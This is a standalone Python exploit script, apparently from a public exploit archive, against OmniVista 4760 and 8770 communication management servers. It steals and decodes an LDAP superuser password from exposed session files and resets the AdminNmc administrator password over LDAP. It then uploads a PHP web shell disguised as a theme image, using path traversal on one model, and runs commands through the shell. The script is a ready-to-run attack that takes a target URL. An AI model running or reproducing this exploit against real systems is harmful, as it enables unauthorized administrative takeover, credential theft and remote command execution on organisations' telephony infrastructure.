123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157 |
- import requests
- import socket
- import ldap
- import sys
- from urllib.parse import urlparse
- from urllib3.exceptions import InsecureRequestWarning
- requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
- class OmniVista:
- def __init__(self, host):
- self.host = host
- self.addr = (urlparse(self.host).hostname)
- self.folders = ['php-bin/', 'soap-bin/', 'bin/', 'data/', 'Themes/', 'log/']
- self.filename = "poc.php"
- self.webshell = "<?php system($_REQUEST[0]) ?>"
- def identify(self):
- r = requests.get(self.host + 'php-bin/Webclient.php', verify=False)
- if '8770' in r.text:
- return 8770
- elif '4760' in r.text:
- return 4760
- else:
- return False
- def checkldap(self):
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.settimeout(10)
- result = s.connect_ex((self.addr, 389))
- if result == 0:
- return True
- def info(self):
- r = requests.post(self.host + 'php-bin/info.php', data={"void": "phDPhd"}, verify=False)
- if 'PHP Version' in r.text:
- return r.text
- else:
- return False
- def getpassword(self):
- r = requests.get(self.host + 'php-bin/Webclient.php', verify=False)
- id = r.headers['Set-Cookie'].split(";")[0].split("=")[1]
- r = requests.get(self.host + 'sessions/sess_' + id, verify=False)
- lenght = int(r.text.split("ldapSuPass")[1][3:5])
- password = r.text.split("ldapSuPass")[1][7:7+lenght]
- return password
- def decodepassword(self, password):
- counter = 0
- key = 16
- cleartext = ""
- if password[0:5] == "{NMC}":
- password = password[5:]
- else:
- return False
- for char in password:
- if 32 <= ord(char):
- char = chr(ord(char) ^ key)
- cleartext += char
- else:
- cleartext += char
- if ord(char) != 0:
- key = counter * ord(char) % 255 >> 3
- else:
- key = 16
- counter += 1
- return cleartext
- def connectldap(self):
- connect = ldap.initialize('ldap://' + self.addr)
- connect.set_option(ldap.OPT_REFERRALS, 0)
- connect.simple_bind_s(self.username, self.password)
- result = connect.search_s('o=nmc', ldap.SCOPE_SUBTREE, '(cn=AdminNmc)')
- print('[*] Current AdminNmc password: ' + str(result[0][1]['userpassword'][0]))
- self.bind = connect
- return True
- def editadminpassword(self):
- self.adminusername = "AdminNmc"
- self.adminpassword = "Lsdcat_exploit1!"
- self.bind.modify_s("uid=AdminNmc,cn=Administrators,cn=8770 administration,o=nmc", [(ldap.MOD_REPLACE, 'userpassword', self.adminpassword.encode('utf-8') )])
- return True
- def login(self):
- self.session = requests.session()
- r = self.session.post(self.host + 'php-bin/webclient.php', data = {"action": "loginCheck", "userLogin": self.adminusername, "userPass": self.adminpassword }, verify = False)
- if 'Directory license is required!' in r.text:
- return False
- else:
- return True
- def exploit8770(self):
- r = self.session.post(self.host + 'php-bin/webclient.php',
- data = {"action": "saveTheme", "themeId": "2"},
- files = { "BgImg1": (self.filename, self.webshell, "image/png")},
- verify = False)
- if 'success' in r.text:
- return True
- def exec8770(self):
- return requests.post(self.host + 'Theme2/' + 'poc.php', data = {"0": cmd}, verify=False).text
- def exploit4760(self):
- for folder in self.folders:
- r = requests.post(self.host + 'php-bin/webclient.php',
- data = {"action": "saveTheme", "themeId": "5/../../{}".format(folder), "themeDate": ""},
- files = { "BgImg1": (self.filename, self.webshell, "image/png")},
- verify=False)
- if 'success' in r.text:
- self.folder = folder
- return True
- def exec4760(self, cmd):
- return requests.post(self.host + self.folder + 'poc.php', data = {"0": cmd}, verify=False).text
- def autoexploit(self):
- print('[*] Attempting to exploit on {}'.format(self.host))
- self.model = self.identify()
- if self.model == 4760:
- print('[*] Model is {}'.format(str(self.model)))
- self.exploit4760()
- print('[*] Upload folder is {}'.format(self.folder))
- output = self.exec4760("whoami")
- print('[*] Webshell at {}{}{}'.format(self.host, self.folder, self.filename))
- print('[*] Command output: '.format(output))
- elif self.model == 8770:
- print('[*] Model is {}'.format(str(self.model)))
- self.username = "cn=Directory Manager"
- self.password = self.decodepassword(self.getpassword())
- print('[*] {} password is "{}"'.format(self.username, self.password))
- if self.checkldap():
- print('[*] LDAP Service is accessible!')
- self.connectldap()
- print('[*] Changing AdminNmc password')
- self.editadminpassword()
- print('[*] Logging in')
- if self.login():
- self.exploit8770()
- output = self.exec8770("whoami")
- print('[*] Webshell at {}{}{}'.format(self.host, "themes/Theme2/", self.filename))
- print('[*] Command output: '.format(output))
- else:
- print("[x] Directory license not installed :/")
- return False
- else:
- print("[x] LDAP Service is not directly accessible")
- return False
- else:
- print("[x] Target is not an OmniVista 4760/8770")
- return False
- if len(sys.argv) != 2:
- print("Usage: ./omnivista.py http(s)://target.tld")
- else:
- exploit = OmniVista(sys.argv[1])
- exploit.autoexploit()
|